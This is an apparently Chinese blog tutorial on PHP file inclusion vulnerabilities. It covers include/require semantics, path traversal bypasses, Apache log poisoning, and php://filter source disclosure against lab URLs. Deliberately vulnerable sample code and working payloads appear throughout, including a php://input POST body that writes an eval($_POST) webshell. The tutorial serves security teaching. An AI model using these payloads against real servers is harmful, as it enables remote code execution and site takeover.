1-Web安全——php文件包含漏洞

目录

1. 什么是文件包含

2. 文件包含漏洞

3. php文件包含

4.文件包含的路径问题

5. php文件包含利用方式——其他方式

6. php包含Apache日志文件

7.php文件包含利用方式——伪协议

8. 利用伪协议获取目标webshell

9. 文件包含漏洞总结


 

1. 什么是文件包含

在项目开发中一般开发人员会把重复调用的函数功能封装到一个文件中,当需要调用某个函数功能时就可以直接调用该文件,无须再次编写,这就叫文件包含。

 

举个例子,来看下面这段代码:

#include <stdio.h>    //包含stdio.h头文件

int main(void)
{
	printf("文件包含漏洞\n");
	return 0;
}

熟悉C语言的同学肯定知道,上面代码的意思就是在控制台窗口输出文件包含漏洞这几个字,直接调用了printf函数完成输出,printf函数的具体实现逻辑都被封装在stdio.h这个头文件中了,当开发人员需要调用printf函数时就可以通过include关键字包含stdio.h文件就可以了,这就是文件包含。

 

2. 文件包含漏洞

在开发过程中为了灵活方便包含头文件,通常会将包含的头文件设置变量动态引入头文件,由于变量的值可控,且服务端没有对变量的值进行合理校验,攻击者利用这一点调用了一个恶意文件,导致产生文件包含漏洞。

 

而文件包含漏洞在其他编程语言中也有,通常较多出现在PHP语言中。

 

3. php文件包含

php文件包含就是在一个要运行的PHP脚本中,去将另外一个PHP脚本中的代码拿过来,并且可以使用其被包含的文件里的内容,或者说将自己的内容能够在另外一个被包含的文件中使用。

 

为此PHP中提供了4个文件包含函数:

  1. include:不论如何都会执行包含操作,找不到包含的文件会产生警告(E_WARNING),脚本会继续执行
  2. include_once:功能和include是一样的,唯一的区别就是include_once不会重复包含文件,只会包含一次
  3. require:如果找不到包含的文件会产生错误(E_COMPILE_ERROR)并停止脚本
  4. require_once:和require类似,区别是文件只包含一次

 

include和require的区别在于,如果包含的文件不存在的时候,include只是报警告错误,而不影响自身代码执行;而require会报致命错误,而且中断代码执行

include和include_once区别:include不论如何都会执行包含操作,而include_once会记录是否已经包含过对应文件,对同一文件多次包含只操作一次(对于函数/类这种结构不允许重复的,是个好方法)。

 

php文件包含又分为本地文件包含(local file include,简称LFI)和远程文件包含(remote file include 简称RFI)。如果要对远程文件进行包含,需要在PHP的配置文件php.ini中修改allow_url_include选项为on,然后重启web服务。另外,如果要远程读取文件的话,需要将allow_url_fopen选项修改为on,例如使用file_get_contents函数就能读取远程文件了。

 

4.文件包含的路径问题

 

无论使用include还是require实现文件包含,都要指定一个路径问题,操作系统中的路径通常分为绝对路径和相对路径。

绝对路径指的是根目录到文件的路径:

例如windows系统的文件路径是从盘符根目录开始的,通常windows会有好几个逻辑盘符,根目录是所在盘符的位置,例如D盘符的绝对路径就是D:\ProgramFiles\apache-tomcat-8.5.31\webapps\ROOT\WEB-INF\web.xml

而Linux系统的所有文件都是从根目录/开始的,因此linux的绝对路径为:/home/songly/tools/phpggc-master/README.md

 

相对路径:就是被包含文件相对于当前文件所在的路径,./表示当前文件目录,../表示上一级目录

如上图所示,当输入./时会输出当前的文件目录为phpggc-master文件夹,输入../时就会返回到phpggc-master文件夹的上一级目录,而phpggc-master的上一级目录显然是tools目录。

 

5. php文件包含利用方式——其他方式

开发人员在使用文件包含时加上路径以及后缀,攻击者也会根据收集到的实际情况来进行利用文件包含漏洞。对于知道路径的我们在构造file的参数值时,可以使用../进行突破,例如包含的文件在网站的根目录下,我们只需要构造径file=../../phpinfo.php。再比如要包含的文件在根目录下的uploads目录下,构造file=../../uploads/test.php。

 

通常文件包含需要配合其他漏洞一起使用。使用加点绕过后台检测,http://www.lfi.com/LFI-3/index.php?file=../../phpinfo.php.

 

在包含的文件后面加点后,就可以绕过后台检测,测试结果如下:

 

对包含的路径进行双写绕过,测试url为http://www.lfi.com/LFI-5/?file=..././../..././..././phpinfo.php

 

分析LFI-5的后台代码:

<?php
   $file = str_replace('../', '', $_GET['file']);
   if(isset($file)){
       include("pages/$file");
   }
   else{
       include("index.php");
   }
?>

后台对包含的文件路径进行了“../”的匹配,如果匹配到则用空字符串替换,最终后台会把路径..././../..././..././替换成../../../这样的。

 

6. php包含Apache日志文件

包含日志文件获取webshell,当网站存在本地包含漏洞却无法上传文件时,可以找到Apache的路径,利用文件包含漏洞包含Apache日志文件来获取webshell。Apache运行后一般会默认生成两个日志文件,分别是access.log(访问日志)和error.log(错误日志),Apache的访问日志记录了客户端每次请求及服务器响应的相关信息,例如访问网页时,Apache就会在access.log日志中记录访问信息。

Apache的access.log访问日志文件中每一行都记录了网站的访问记录,每条记录格式由7部分组成:客户端地址,访问者的标识,访问者的验证名字,请求的时间,请求类型,请求的http代码,发送给客户端的字节数。

 

由于access.log日志文件对于每个请求访问都会有记录,如果网站存在本地文件包含漏洞的话,就可以去访问URL:http://www.xxs.com/<?php phpinfo.php; ?> 。Apache服务器会将URL中的<?php phpinfo.php; ?>写入到access.log日志文件,然后再包含access.log文件的话就可以利用文件包含漏洞了。

 

有一点问题需要注意的是,浏览器的地址栏中可能会对URL的php代码进行转码,转码后的php代码无法执行的,找到Apache的access.log日志文件,如下所示:

 

因此需要借助Burp Suit抓包软件绕过浏览器转码,在/LFI-1/后面添加php代码,如下所示:

 

 

此时我们再去查看Apache的access.log日志文件发现,添加的php代码没有被转码,而是直接写入到日志文件中:

 

 

利用包含Apache日志文件漏洞,成功执行日志文件中的php代码:

通过分析在包含Apache日志文件漏洞发现,攻击者在利用这个漏洞时,首先需要先确定Apache的access.log日志文件的路径,如果无法确定日志文件路径也就无法包含Apache的日志文件,因此Apache的路径是非常重要的,服务器在安装Apache的时候应该避免使用默认路径,防止被攻击者利用。

 

7.php文件包含利用方式——伪协议

文件包含漏洞可以利用伪协议,php就支持很多URL风格的封装协议,如下图所示:

data:// 是一种数据(RFC2397)协议,可以让用户控制输入流。

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

php://input 可以访问请求的原始数据的只读流,将post请求的数据当做php代码执行,对于allow_url_include选项必须为on的时候才可以使用。

 

file:// 是一种用于访问本地文件系统协议的,对于php版本的要求必须在5.2以上,对于allow_url_fopen选项和allow_url_include选项没有具体要求,其用法格式如上所示:?file=file://D:/soft/phpStudy/WWW/phpcode.txt。

 

接下来看一个使用php://filter协议读取php文件的示例,构造url:http://www.lfi.com/php/php_filter.php?file=php://filter/read=convert.base64-encode/resource=php_filter.php 。

 

访问url后得到了这样的一段字符串:

PG1ldGEgY2hhcnNldD0idXRmOCI+DQo8P3BocA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOw0KaWYoc3RyaXN0cigkZmlsZSwicGhwOi8vaW5wdXQiKSB8fCBzdHJpc3RyKCRmaWxlLCJ6aXA6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJwaGFyOi8vIikgfHwgc3RyaXN0cigkZmlsZSwiZGF0YToiKSl7DQoJZXhpdCgnaGFja2VyIScpOw0KfQ0KaWYoJGZpbGUpew0KCWluY2x1ZGUoJGZpbGUpOw0KfWVsc2V7DQoJZWNobyAnPGEgaHJlZj0iP2ZpbGU9ZmxhZy5waHAiPmZsYWc8L2E+JzsNCn0NCj8+DQo=

 

以上这段代码是经过base64加密后的php源代码,使用Burp Suit软件对字符串进行解码:

 

分析后台的源代码:

<?php
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">flag</a>';
}
?>

首先后台会先获取到URL中的file中的参数,通过stristr函数来判断file中的参数是否有以上封装的几个协议,如果匹配上则过滤掉,而php://filter协议恰好可以绕过后台过滤。

 

8. 利用伪协议获取目标webshell

使用php://input伪协议获取目标的webshell,前提是php语言中的allow_url_include选项必须为on才行,构造URL:

 

php://input伪协议会将http请求中POST中的数据当做php代码执行:

 

 

攻击者就可以利用这一点在目标网站上写入一个一句话木马php文件,构造post中的数据: <?php fputs(fopen("shell.php","w"),'<?php eval($_POST[include]); ?>')?>

 

Post data中的数据的意思是,后台会通过fopen函数打开一个webshell.php文件,然后使用fputs函数将<?php eval($_POST[include]); ?>一句话木马写入到webshell.php文件中。然后接下来就可以使用webshell管理工作获取目标的webshell。

 

9. 文件包含漏洞总结

在日常开发过程中,开发人员通常会将需要重复调用的代码功能单独封装到一个文件中,当需要调用某些代码功能时就可以通过包含该文件来完成,虽然这么做有利于开发效率和后期的维护与扩展,但同时也带来了新的问题,如果代码中没有对文件包含的函数进行过滤,校验的话,攻击者可以构造一个恶意文件路径进行提交并交由服务器执行,这也是导致文件包含漏洞的主要原因。

 

产生文件包含漏洞的前提有两点:

  1. include,require等函数通过动态变量的方式引入需要包含的文件
  2. 用户可以控制该动态变量
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值